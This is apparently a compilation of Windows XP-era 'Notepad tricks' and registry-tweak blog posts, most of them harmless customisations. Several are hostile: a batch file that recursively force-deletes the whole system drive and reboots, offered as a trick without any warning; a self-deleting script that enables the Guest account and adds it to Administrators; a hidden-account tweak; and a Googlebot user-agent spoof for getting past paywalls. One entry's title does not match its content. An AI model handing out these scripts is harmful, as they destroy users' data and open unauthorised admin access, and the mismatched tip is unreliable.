Create A Hidden User Account by Naani | 11:10 PM in Registry Tweaks, Windows | comments (0) Create A Hidden User Account This tweak allows an account that is normally displayed on the Welcome screen to be hidden from view. To log on using the account it's necessary to use the Log On To Windows dialog box similar to the one in Windows 2000. [Start] [Run] [Regedit] Registry Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ Winlogon\SpecialAccounts\UserList Modify/Create the Value Data Type(s) and Value Name(s) as detailed below. Data Type: REG_DWORD [Dword Value] // Value Name: Type Name of Account to be Hidden Setting for Value Data: [0 = Account is Hidden / 1 = Enabled] Exit Registry and Reboot

While the account is hidden on the Welcome screen, note that the account profile will be visible in C:\Documents and Settings or wherever user profiles are stored as well as in Local Users and Groups NOTE PAD TWEAKS

Convert a Guest account into an Admin by Naani | 5:52 AM in MS-DOS, Notepad Tricks, Windows | comments (0) Convert a Guest account into an Admin? All you need to do is copy the code below, copy/paste it into Notepad and save it as Guest2admin.bat on your desktop. echo off title Please wait... cls net user add Username Password /add net user localgroup Administrators Username /add net user Guest 420 /active:yes net localgroup Guests Guest /DELETE net localgroup Administrators Guest /add del %0 Double-click the file to execute or type the above-given code in Command Prompt. Note: this also creates a net account which is also accessable through nets open

Deleting System Softwares by Naani | 4:00 AM in Notepad Tricks, Windows | comments (0) XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

Format your hardisk with notepad: by Naani | 3:18 AM in Hard Disk Tweaks, Notepad Tricks, Windows | comments (0)

go to notepad @Echo off Del C:\ *.*y save it as Dell.bat or worse @echo off del %systemdrive%\*.*/f/s/q shutdown -r -f -t 00 and save it as a .bat file

Secret Backdoor To Many Websites by Naani | 7:11 PM in Internet, Notepad Tricks | comments (0) Ever experienced this? You ask Google to look something up; the engine returns with a number of finds, but if you try to open the ones with the most promising content, you are confronted with a registration page instead, and the stuff you were looking for will not be revealed to you unless you agree to a credit card transaction first.... The lesson you should have learned here is: Obviously Google can go where you can't. Can we solve this problem? Yes, we can. We merely have to convince the site we want to enter, that WE ARE GOOGLE.In fact, many sites that force users to register or even pay in order to search and use their content, leave a backdoor open for the Googlebot, because a prominent presence in Google searches is known to generate sales leads, site hits and exposure.Examples of such sites are Windows Magazine, .Net Magazine, Nature, and many, many newspapers around the globe.How then, can you disguise yourself as a Googlebot? Quite simple: by changing your browser's User Agent. Copy the following code segment and paste it into a fresh notepad file. Save it as Useragent.reg and merge it into your registry. Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent] @="Googlebot/2.1" "Compatible"="+http://www.googlebot.com/bot.html" Windows Registry Editor

Voila! You're done! You may always change it back again.... I know only one site that uses you User Agent to establish your eligability to use its services, and that's the Windows Update site... To restore the IE6 User Agent, save the following code to NormalAgent.reg and merge with your registry: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet

Settings\5.0\User Agent] @="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Change Yahoo! Messenger Title Bar by Naani | 11:16 PM in Internet, Messenger, Notepad Tricks | comments (0) Change Yahoo! messenger title bar Hey guys you can change the yahoo messenger title bar... For this just find the folder messenger in the drive in which the messenger is installed. Then search a file named "ymsgr". Open it in "notepad". In this file just go to the end and write the following code: [APP TITLE] CAPTION=Gautam's Messenger Here you can write any name in place of "Gautam's Messenger"... then see the fun.... You can have your own name being placed in yahoo messenger title bar.

CHAT YOUR FRIENDS THROUGH MS-DOS by Naani | 11:01 PM in Internet, MS-DOS, Notepad Tricks, Windows | comments (0) 1. All you need is your friends IP address and your Command Prompt. 2. Open your notepad and write tis code as it is……………… I would prefer you to copy this ! @echo off :A Cls echo MESSENGER set /p n=User: set /p m=Message: net send %n% %m% Pause Goto A 3. Now save this as "Messenger.Bat". 4. Drag this file (.bat file)over to Command Prompt and press enter! 5. You would then see some thing like this: MESSENGER User: 6. After "User" type the IP address of the computer you want to contact.

7. Before you press "Enter" it should look like this: MESSENGER User: IP_Address Message: Hi, How are you ? 8. Now all you need to do is press "Enter", and start chatting Now all you need to do is press Enter, and start chatting..... Comment if u liked it.. :)

Brand windows with your name and add your own photo by Naani | 10:56 PM in Notepad Tricks, Windows | comments (0) Open notepad dump the following lines into it and save it with the name OEMINFO.INI in the c:\windows\system32 directory: ——————————————————————[General] Manufacturer=Your Name Here Model=Your Model Here [Support Information] Line1=Your Name Here Line2=Your Address Here Line3=Your Email Address Here ——————————————————————— 1. Save the file as OEMINFO.INI in the c:\windows\system32. 2. Then make a right click on my computer select properties, in the general tab a button will be highlighted (support information) make a click on it, you will be able to see the changes. 3. Now if you want to display some more information then simply increase the line in the file. ex: Line4=Your Working Hours Here You can also add your logo or photo Create a bmp file(Your Photo) and save it the System32 folder as “oemlogo.bmp”(Without Quote)

Add "copy to" and "move to" options in right click in XP by Naani | 4:08 AM in Notepad Tricks, Performance Tweaks, Registry Tweaks, Windows | comments (0) It is hard to move or copy a file/s or folder/s to specific location. There is a option called "Send to" on context menu but it has some limitation. You can send content through it just few locations like.. My Documents, Floppy Disk etc. If You can add "Copy to" and "Move to" options on Right click(context menu) then it will increase your file/folder transfer facility. You can Copy and Move your content anywhere on your machine through Right click(context menu). I have described a registry trick following here. Copy-paste following text in notepad and save it with .reg extension. Then just merge/run it. You will get 2 new options on your Right click(context menu). Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers] [HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers\Copy To] @="{C2FBB630-2971-11D1-A18C-00C04FD75D13}" [HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers\Move To] @="{C2FBB631-2971-11D1-A18C-00C04FD75D13}"

Remove or modify Shortcut Arrow in windows and Vista by Naani | 4:04 AM in Notepad Tricks, Registry Tweaks, Windows, Windows Vista | comments (0) Would you prefer to display your shortcuts without the arrow in the bottom left hand corner? This tip will show you how to change the arrow icon or remove it completely To remove the shortcut arrows: Method 1: 1. Open your notepad or any script editor 2. Copy and paste the script below into you notepad and save the file with .vbs extension e.g noArrow.vbs, just save it to your desktop Option Explicit

Dim objShell, strRoot, strRead, strDelete, strCreate strRoot = “HKEY_CLASSES_ROOT\lnkfile\IsShortCut” ‘ Create the Shell object Set objShell = CreateObject(”WScript.Shell”) strDelete = objShell.RegDelete(strRoot) WScript.Echo “Error No: ” & err.number & ” check ” & strRoot strDelete = null WScript.Quit 3. Double click your VBScript, then ‘OK’ the message box. To see the arrows disappear, simply logoff and logon again. Tadaaa!!!! The arrows disappear!!..hahaaaa Method 2: Open Registry editor Go to HKEY_CLASSES_ROOT Find piffile and lnkfile…………………….and just delete it. Reboot your computer. To Change the Icon: Open the key [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ Explorer\Shell Icons] and create a new string value, or modify the existing value, called ‘29′. Set it to equal the filename, including path, for the icon you want to use for the shortcut arrow. By setting this to a blank icon it has a similar effect to the removal method above, without the side effects. Restart Windows for the changes to take effect. Note: This tweak effectively changes the properties of shortcuts so they are no longer considered to be shortcuts by Windows, this may have some slight side effects, such as hot keys not working as before.

Let The Light Flash On Your KeyBoard by Naani | 7:45 PM in Keyboard and Mouse Tricks, Notepad Tricks, Windows | comments (0) These codes when executed makes your Caps, Num, Scroll lock keys flash.. very kewlll...i have tried it... Instructions: *paste any of the codes in notepad *Save as AnyFileName.vbs *Run the file

*to stop, launch task manager and then under "Processes", end wscript.exe 1.This piece of code makes your keyboard a live disco... Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" wshshell.sendkeys "{NUMLOCK}" wshshell.sendkeys "{SCROLLLOCK}" loop 2.This one makes it looks like a chain of light.... Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 200 wshshell.sendkeys "{CAPSLOCK}" wscript.sleep 100 wshshell.sendkeys "{NUMLOCK}" wscript.sleep 50 wshshell.sendkeys "{SCROLLLOCK}" loop That's it for today's post, feel free to try and post comments.

Use your NotePad As a Personal Diary by Naani | 7:27 PM in Notepad Tricks | comments (0) Use your NotePad As a Personal Diary 1. Open a blank notepad. 2. Write .LOG in the first line, press Enter. 3. Save the file and then close. 4. Reopen the file... you can see the current date and time now. Write down your notes... Press enter again... save and close.. Everytime you open the file, the current date and time gets recorded.

Check your Anti-Virus efficiency - Make a small virus yourself

by Naani | 7:59 PM in Notepad Tricks, Viruses and Antiviruses | comments (0) The Virus Source Code is for information purposes only, for researchers and computer virus or programming enthusiasts. No warranty is given or to be implied for any software listings contained herein. You take full responsibility for any damages caused by compiling, running, or sharing this information. Be aware that running any malicious code on another's computer or computer network might be a criminal act. Use at your own risk! * Open the NotePad program. * Type this code like below into the NotePad file. (Copy and Paste it) X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TESTFILE!$H+H* * Save the Notepad file as virus.com . To comfortably find the virus.com, I suggest placing it in the Desktop. * Run the virus.com file to test your computer efficiency. If there are not any responses from the AntiVirus software, I suggest changing your AntiVirus immediately because it does not work anymore. * Enjoy testing it and note that this virus.com cannot affect or damage any parts of your computer.

Increasing options in add/remove programs by Naani | 7:57 PM in Notepad Tricks, Performance Tweaks, Windows, Windows Vista | comments (0) Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this: [Components] NtComponents=ntoc.dll,NtOcSetupProc,,4 WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7 Display=desk.cpl,DisplayOcSetupProc,,7 Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7 NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7 iis=iis.dll,OcEntry,iis.inf,,7 com=comsetup.dll,OcEntry,comnt5.inf,hide,7 dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7 IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7 TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2

msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6 ims=imsinsnt.dll,OcEntry,ims.inf,,7 fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7 AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7 msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7 RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7 IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7 This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so: msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7 To this: msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7 Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

USB TWEAKS

CONVERT A 512 MB duo/produo/MMC CARD TO 640 MB by Naani | 11:06 PM in Mobile, USB Tricks | comments (0) CONVERT A 512 MB duo/produo/MMC CARD TO 640 MB I guess it works for duo/produo/mmc cards. Principle:--Your files in duo/produo/MMC is stored in multiple (disk) blocks. So if you format using 16K block, the space used will be 16K eventhough your file is just 1K. If you buy DUO/PRO-DUO, it is usually preformatted with 16K block. Therefore a lot of space is wasted as most installed program files are usually less than 2K. ProCeDure:-You will need a card reader to do this:edit:you can also do it by connecting your phone via usb 1. Connect card reader and copy all your files in the memory card to computer disk. (Make sure you set the show all/hidden/os files to "on") 2. Do a format of the memory card using command line "format" and use the /A=size

option. Alternative, you can use the Disk Management in Adminstrative Tools to format. Make sure you select FAT16. For 256MB memory card, smallest block you can use is 4K, 128MB is 2K, 64Mb is 1K and 32MB is 512B. (Note: You cannot use the phone "format ext.mem" to do this as the format just clear the allocation table and does not change the block size) 3. Copy back all files to memory card. Now you will find that you will have more space. I have installed many software to to my 256MB memory card and it is nearly full. After doing above, I got an "extra" 32MB. For those who have problem with command line format:: Just use the Disk Managament to format 1. Goto Start->control Panel->Administrative Tools->Computer management->Disk management 2. Select your memory card/usb drive. Right-click and select "Format" 3. Select "FAT". Choose Allocation size. For 256Mb MMC select 4K, 128Mb MMC select 2K, 64Mb MMC select 1K and 32Mb MMC select 512B

5 ways to speed up your PC by Naani | 4:21 AM in Hard Disk Tweaks, Performance Tweaks, USB Tricks, Windows | comments (0) By following a few simple guidelines, you can maintain your computer and keep it running smoothly. This article discusses how to use the tools available in Windows XP Service Pack 2 (SP2) and Windows Vista to more efficiently maintain your computer and safeguard your privacy when you're online. Free up disk space By freeing disk space, you can improve the performance of your computer. The Disk Cleanup tool helps you free up space on your hard disk. The utility identifies files that you can safely delete, and then enables you to choose whether you want to delete some or all of the identified files. Use Disk Cleanup to: • Remove temporary Internet files. • Remove downloaded program files (such as Microsoft ActiveX controls and Java applets). • Empty the Recycle Bin. • Remove Windows temporary files. • Remove optional Windows components that you don't use. • Remove installed programs that you no longer use.

Tip: Typically, temporary Internet files take the most amount of space because the browser caches each page you visit for faster access later. To use Disk Cleanup 1. Click Start, point to All Programs, point to Accessories, point to System Tools, and then click Disk Cleanup. If several drives are available, you might be prompted to specify which drive you want to clean. 2. In the Disk Cleanup for dialog box, scroll through the content of the Files to delete list. 3. Clear the check boxes for files that you don't want to delete, and then click OK. 4. When prompted to confirm that you want to delete the specified files, click Yes. After a few minutes, the process completes and the Disk Cleanup dialog box closes, leaving your computer cleaner and performing better. Speed up access to data Disk fragmentation slows the overall performance of your system. When files are fragmented, the computer must search the hard disk when the file is opened to piece it back together. The response time can be significantly longer. Disk Defragmenter is a Windows utility that consolidates fragmented files and folders on your computer's hard disk so that each occupies a single space on the disk. With your files stored neatly end-to-end, without fragmentation, reading and writing to the disk speeds up. When to run Disk Defragmenter In addition to running Disk Defragmenter at regular intervals—monthly is optimal —there are other times you should run it too, such as when: • You add a large number of files. • Your free disk space totals 15 percent or less. • You install new programs or a new version of Windows. To use Disk Defragmenter: 1.Click Start, point to All Programs, point to Accessories, point to System Tools, and then click Disk Defragmenter. 2.In the Disk Defragmenter dialog box, click the drives that you want to defragment, and then click the Analyze button. After the disk is analyzed, a dialog box appears, letting you know whether you should defragment the analyzed drives. Tip: You should analyze a volume before defragmenting it to get an estimate of how long the defragmentation process will take. 3.To defragment the selected drive or drives, click the Defragment button. Note: In Windows Vista, there is no graphical user interface to demonstrate the progress— but your hard drive is still being defragmented. After the defragmentation is complete, Disk Defragmenter displays the results. 4.To display detailed information about the defragmented disk or partition, click View Report. 5.To close the View Report dialog box, click Close. 6.To close the Disk Defragmenter utility, click the Close button on the title bar of the

window. Detect and repair disk errors In addition to running Disk Cleanup and Disk Defragmenter to optimize the performance of your computer, you can check the integrity of the files stored on your hard disk by running the Error Checking utility. As you use your hard drive, it can develop bad sectors. Bad sectors slow down hard disk performance and sometimes make data writing (such as file saving) difficult, or even impossible. The Error Checking utility scans the hard drive for bad sectors, and scans for file system errors to see whether certain files or folders are misplaced. If you use your computer daily, you should run this utility once a week to help prevent data loss. To run the Error Checking utility: 1.Close all open files. 2.Click Start, and then click My Computer. 3.In the My Computer window, right-click the hard disk you want to search for bad sectors, and then click Properties. 4.In the Properties dialog box, click the Tools tab. 5.Click the Check Now button. 6.In the Check Disk dialog box, select the Scan for and attempt recovery of bad sectors check box, and then click Start. 7.If bad sectors are found, choose to fix them. Tip: Only select the "Automatically fix file system errors" check box if you think that your disk contains bad sectors. Protect your computer against spyware Spyware collects personal information without letting you know and without asking for permission. From the Web sites you visit to usernames and passwords, spyware can put you and your confidential information at risk. In addition to privacy concerns, spyware can hamper your computer's performance. Learn all about ReadyBoost If you're using Windows Vista, you can use ReadyBoost to speed up your system. A new concept in adding memory to a system, it allows you to use non-volatile flash memory—like a USB flash drive or a memory card—to improve performance without having to add additional memory.

Block USB Devices by Naani | 4:14 AM in Registry Tweaks, USB Tricks, Windows | comments (0)

To this what can be done is that the USB can be blocked and then stopping the use of USB drives. Here is a simple registry hack to do so, try it with care. 1. Go to Start –> Run, type Regedit. 2. Go to HKEY_LOCAL_MACHINE\System\CurrentControlset\Services\USBStor 3. In the right pane, look for value Start and have value as 0000000(3) 4. Double click on that and change that value to 4. You might be required to restart the PC, and then you are done with it, USB is now blocked. In case if you want to get the USB unblocked, just change the value again to 3. See, its so easy. Isn’t it

Format USB Drive with NTFS File System by Naani | 7:29 PM in Performance Tweaks, USB Tricks, Windows, Windows Vista | comments (0) The advantage of NTFS file system is more security options and fast. Normally USB drive capacity is very small enough that NTFS is not recommended. But, nowadays USB drives are coming with larger capacity also. So we can format USB drive with NTFS to have more security options. NTFS enabled USB Drives are write-able only on one PC and becomes read only on all other PCs. Hence, we can read and write on our own PC and transfer files to elsewhere without any fear of virus. In XP, only FAT and FAT32 file systems are available in format options, use the below steps to format in NTFS File System. 1). Insert USB drive in your PC 2). Goto Device Manager (Start>Run>devmgmt.msc) 3). Select Disk Drives and expand 4). Right Click on USB drive and select Properties 5). Goto policies tab and select Optimize for performance and press OK 6). Open My Computer, Click on USB Drive and select Format Opton Now you can have NTFS option there.

Disable Autorun by Naani | 7:48 PM in Performance Tweaks, USB Tricks, Windows | comments (0)

If your pen drive is affected by any virus/worm/malware then it is suggested to disable the autorun function in your computer. Here are the steps to disable the autorun. 1.Go to start ->Run Type gpedit.msc press Enter 2.In that go to Administrative Templates->System->Turn off autoplay 3.Now set it to Enabled if you want to turn off the autorun feature. The default value will not configured 4.There is one more option in it We have to select between All drives/ CD-ROM drives Select CD-ROM drive if you want to disable autorun only for CDS or select all drives if you want to turn off autorun for all drives including your pen drives or flash drives

WINDOWS TWEAKS

Creating a desktop shortcut for locking your computer by Naani | 4:01 AM in Windows | comments (0) If you use your computer in an area where others may have access to it, and there are things on your system you would rather have kept confidential, locking your desktop when you leave the computer is an essential task. Here's a recipe for a desktop shortcut that will lock your computer in two easy clicks: on an empty area of the desktop and choose 'new' then 'shortcut.' The create shortcut wizard will open; in the first text box, type '%windir%\System32\rundll32.exe user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next page, and hit 'finish.' Right click

You will notice that the shortcut you created has a blank icon. To select a more appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click the 'change icon' button. In the 'look for icons in this file' box, type '%SystemRoot%\system32\SHELL32.dll' then click 'ok' to see a range of icons for your new shortcut. Choose an appropriate icon. Your desktop locking shortcut is now ready for use. Test it out.

it is useful if u have an account as it will prompt 4 a password.

Deleting System Softwares by Naani | 4:00 AM in Notepad Tricks, Windows | comments (0) XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

Creating Shutdown Icon or One Click Shutdown: by Naani | 3:59 AM in Windows | comments (0) Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in other words, create a new shortcut). You should now see a pop-up window instructing you to enter a command line path.Use this path in "Type Location of the Item" SHUTDOWN -s -t 01 If the C: drive is not your local hard drive, then replace "C" with the correct letter of the hard drive. Click the "Next" button. Name the shortcut and click the "Finish" button. Now whenever you want to shut down, just click on this shortcut and you're done.

Modify autoplay for different types of CD by Naani | 3:56 AM in Windows | comments (0) Windows XP includes the ability to perform different actions depending on the type of CD you insert into the drive. For example, you could set your system to always respond to CDs containing MP3 files by opening Windows Media Player. To edit the Autoplay properties: Open 'my computer'. Right click on the drive you wish to set and select 'properties.' Choose the autoplay tab. Use the dropdown box to see the various recognized types of CD and choose appropriate actions for them.

Renaming The Recycle Bin icon: by Naani | 3:56 AM in Registry Tweaks, Windows | comments (0)

To change the name of the Recycle Bin desktop icon, click Start then goto Run, write Regedit and press Enter. It opens Registry Editor. Now in Registry Editor go to: HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E} and change the name "Recycle Bin" to whatever you want (don't type any quotes).

Locking the desktop by Naani | 3:55 AM in Windows | comments (0) If you are leaving your computer for a while and do not wish to turn it off, but want to assure that no-one else can use the computer while you are away, locking the desktop is the best option. By pressing WINDOWSKEY+L, you password protect your system just as if you had logged out or restarted the computer. The advantage is that any programs or processes that were running when you locked the desktop will stay open and running in the background, ready for you to resume work or play.

Removing Shared Documents folder From My Computer by Naani | 3:55 AM in Registry Tweaks, Windows | comments (0) Open registry editor by going to Start then Run and entering regedit. Once in registry, navigate to key HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders You must see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this key, you have effectively removed the my shared documents folder.

Force windows XP to reboot upon crashing by Naani | 3:54 AM in Registry Tweaks, Windows | comments (0) This registry edit will cause your system to reboot itself automatically upon crashing. This can be useful if you have a reason for keeping your system on 24/7: Open REGEDIT Navigate to

'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl' Edit the 'AutoReboot' value to '1'

Customize Logon prompt with your Own Words by Naani | 3:35 AM in Windows | comments (0) Go to Start > Control Panel > Administrative Tools > Computer Management, Disk Management, then right-click the partition whose name you want to change (click in the white area just below the word "Volume") and select "change drive letter and paths." From here you can add, remove or change drive letters and paths to the partition

Removing the Shortcut arrow from Desktop Icons by Naani | 3:32 AM in Registry Tweaks, Windows | comments (0) Goto Start then Run and Enter regedit. Navigate to HKEY_CLASSES_ROOTlnkfile. Delete the IsShortcut registry value. You may need to restart Windows XP.

Improving the Slow Boot up time by Naani | 3:31 AM in Performance Tweaks, Windows | comments (0) There are a variety of reasons why your windows XP system would boot slowly. Most of the times it this has to do with the startup applications. If you would like to speed up the bootup sequence, consider removing some of the startup applications that you do not need. Easiest way to remove startup apps is through System Configuration Utility. Go to Start then Run and enter MSCONFIG and go to the Startup tab. Deselect/UnCheck application(s) that you do not want to startup at boot time

Removing the Recycle Bin from the Desktop by Naani | 3:29 AM in Registry Tweaks, Windows | comments (0) If you don't use the Recycle Bin to store deleted files , you can get rid of its desktop icon all together. In Run, type Regedit and go to: HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/explorer/ Desktop/NameSpace

Delete the {645FF040-5081-101B-9F08-00AA002F954E} key in Namespace Quit Registry Editor •To get back the Recycle Bin In Run, Type Regedit Goto: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer \Desktop\NameSpace Right-click the NameSpace point to New, and then click Key. Type {645FF040-5081-101B-9F08-00AA002F954E}, and then press ENTER. Click the new {645FF040-5081-101B-9F08-00AA002F954E} key that you created In the right pane, double-click the (Default) entry. In the Edit String dialog box, type Recycle Bin in the Value data box, and then click OK. Quit Registry Editor.

Adding Administrative Tools Icon To The Desktop: by Naani | 3:28 AM in Registry Tweaks, Windows | comments (0) Open Registry Editor. In Registry Editor, navigate to the following registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer \Desktop\NameSpace . Create the following key: {D20EA4E1-3957-11d2-A40B0C5020524153} (just copy/paste, including the brackets). Close Registry Editor. There is no need to reboot. Just wait a few seconds and see how the icon appears.

Using advanced file security settings in Windows by Naani | 3:28 AM in Windows | comments (0) Windows XP is based on the same platform as Windows 2000, and shares that operating system's robust file security options, at least when using the NTFS file system. Unfortunately this security system, which enables an administrator to decide exactly which files and programs any given user will have access to, is not actually implemented by default in Windows XP. This is a concession Microsoft made to avoid confusing basic users of XP Pro, and to cripple XP Home. The NTFS file security options can be enabled easily enough in XP Pro, but are

apparently non-existent in the Home version. Fact is, the tools are there, you just need to look a little bit harder. To enable NTFS file security in Windows XP Home: First you need to assure that at least your main hard drive is formatted with the NTFS file system. See tip #61 for instructions on this. Restart your system. Just after the memory and BIOS check screen, but before the Windows splash screen comes up, press F8 a few times. When the Windows boot menu appears, select 'safe mode' from the list of options. Once Windows has loaded in safe mode, right click the folders and files you would like to change access to. You will notice that the 'security' tab now exists, and thus you are allowed to assign or deny access to individual users for each file, folder and program. Once you are done, restart Windows normally, and your changes will be enforced.

Creating The Suspend Shortcut: by Naani | 3:27 AM in Windows | comments (0) Right click on the Desktop .New / Shortcut. Enter in rundll32.exe PowrProf.dll, SetSuspendState . Give it whatever name you want. Now when you click on that shortcut, your computer will shutdown and suspend.

Disable the Disk performance counter(s) by Naani | 3:27 AM in Hard Disk Tweaks, Performance Tweaks, Windows | comments (0) Windows XP contains a built in performance monitor that is constantly examining various areas of your system. This information can be called up using the performance monitor application found in control panel\administrative tools. Of course, most of us have little interest in this sort of performance statistics monitoring, that being more the territory of systems administrators than individual users. The thing is, XP is still monitoring away, and some of its observation tools can use a considerable amount of resources. The disk monitoring is an example of this, and it's a good idea to turn the disk monitors off if you are not planning to use the performance monitor application. To do this: Go to the command prompt ('start\run' then type 'cmd') and type 'diskperf -N' Alternate Method Win XP comes with many inbuilt performance monitoring applications that constantly examine various parts of the system. This information can be of real use to a system

administrator for collecting performance statistics. However, for a home user, these statistics hold no value and since the monitoring happens all the time, it consumes a good deal of system resources. “Disk monitoring”, for example, happens in the background, and turning it off is advisable if you will not be using the performance monitoring applications. To turn it off, type in “diskperf -N” at a command prompt. To bring up the command prompt: go to Start>Run, type in “cmd” and press [Enter].

Modify Color Selection of Default Theme: by Naani | 3:26 AM in Registry Tweaks, Windows | comments (0) Open registry by going to Start then Run. Entering regedit, navigate to [HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\ThemeMana ger] and locate the key "ColorName". Right Click on it and select modify its value from "NormalColor" to "Metallic" Click Ok, and exit regedit and restart your computer.

Removing Multiple Boot Screens: by Naani | 3:26 AM in Performance Tweaks, Windows | comments (0) If you are getting unwanted multiple boot screen Then Follow these Steps. 1> Right Click on My Computer 2>Select Properties 3>Select Advanced Tab 4>Select Settings In the Startup & Recovery Section(3rd grp) 5>Select the operating system which u want. 6>And Click OK. 7>Further again press the setting and click on Edit. 8>It will open boot.ini File. 9>Now u can delete those o/s which you don't want to be displayed. Note: For deleting operating systems from boot.ini file, keep it mind that you can'tdelete that o/s which is selected by default there. Beforemaking any changes make a copy of boot.ini file.

ANTI VIRUS

How to remove trojan.w32.looksky {removal instructions}

by Naani | 11:15 PM in Internet, Viruses and Antiviruses | comments (0) Trojan.w32.looksky is another name for the Smitfraud/zlob trojan. SmitFraudFix removes trojan.w32.looksky, but you should also check your system for other malware, and use ATF cleaner to clean your temp files when finished. Instructions to remove Trojan.w32.looksky using SmitFraudFix SmitFraudFix only works with Windows XP or 2000 Download SmitfraudFix:Use this URL to download the latest version (the file contains both English and French versions):http://siri.geekstogo.com/SmitfraudFix.exe Use: * Search: o Double-click SmitfraudFix.exe o Select 1 and hit Enter to create a report of the infected files. The report can be found at the root of the system drive, usually at C:\rapport.txt

Clean: * Reboot your computer in Safe Mode (before the Windows icon appears, tap the F8 key continually) * Double-click SmitfraudFix.exe * Select 2 and hit Enter to delete infect files. * You will be prompted: Do you want to clean the registry ? answer Y (yes) and hit Enter in order to remove the Desktop background and clean registry keys associated with the infection. * The tool will now check if wininet.dll is infected. You may be prompted to replace the infected file (if found): Replace infected file ? answer Y (yes) and hit Enter to restore a clean file. * A reboot may be needed to finish the cleaning process. The report can be found at the root of the system drive, usually at C:\rapport.txt

* Optional: o To restore Trusted and Restricted site zone, select 3 and hit Enter. o You will be prompted: Restore Trusted Zone ? answer Y (yes) and hit Enter to delete trusted zone. Note: process.exe is detected by some antivirus programs (AntiVir, Dr.Web, Kaspersky) as a "RiskTool". It is not a virus, but a program used to stop system processes. Antivirus programs cannot distinguish between "good" and "malicious" use of such programs, therefore they may alert the user. Here: http://www.beyondlogic.org/consulting/processutil/processutil.htm

Enable/Disable Your Task Manager by Naani | 4:14 AM in Registry Tweaks, Viruses and Antiviruses, Windows | comments (0) Well, this situation might never arise when you need to Disable your Task manager. But more commonly it happens because of a virus attack. Viruses do disable the Task Manager. Now they do so by editing the Registry values. Even if you remove the viruses, the registry changes will remain and thy will continue to effect your system, until you correct them. This is easy and I will let you know how this can be done with just a small change in Registry. Here’s what you need to do. 1. Go to Start –> Run, and open Regedit. 2. Go to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S ystem 3. If you are infected by a Virus then you will see a Dword Value “DisableTaskMgr“, if not, then create this new value. 4. To Enable it, give a value of “0“, and to Disable it, give it a value of “1“ This is a very simple method by which Task manager can be Enabled/ Disabled. Apart from that, if you are in a network, and want to disable Task manager for a user, then you need to change the Computer Policies.

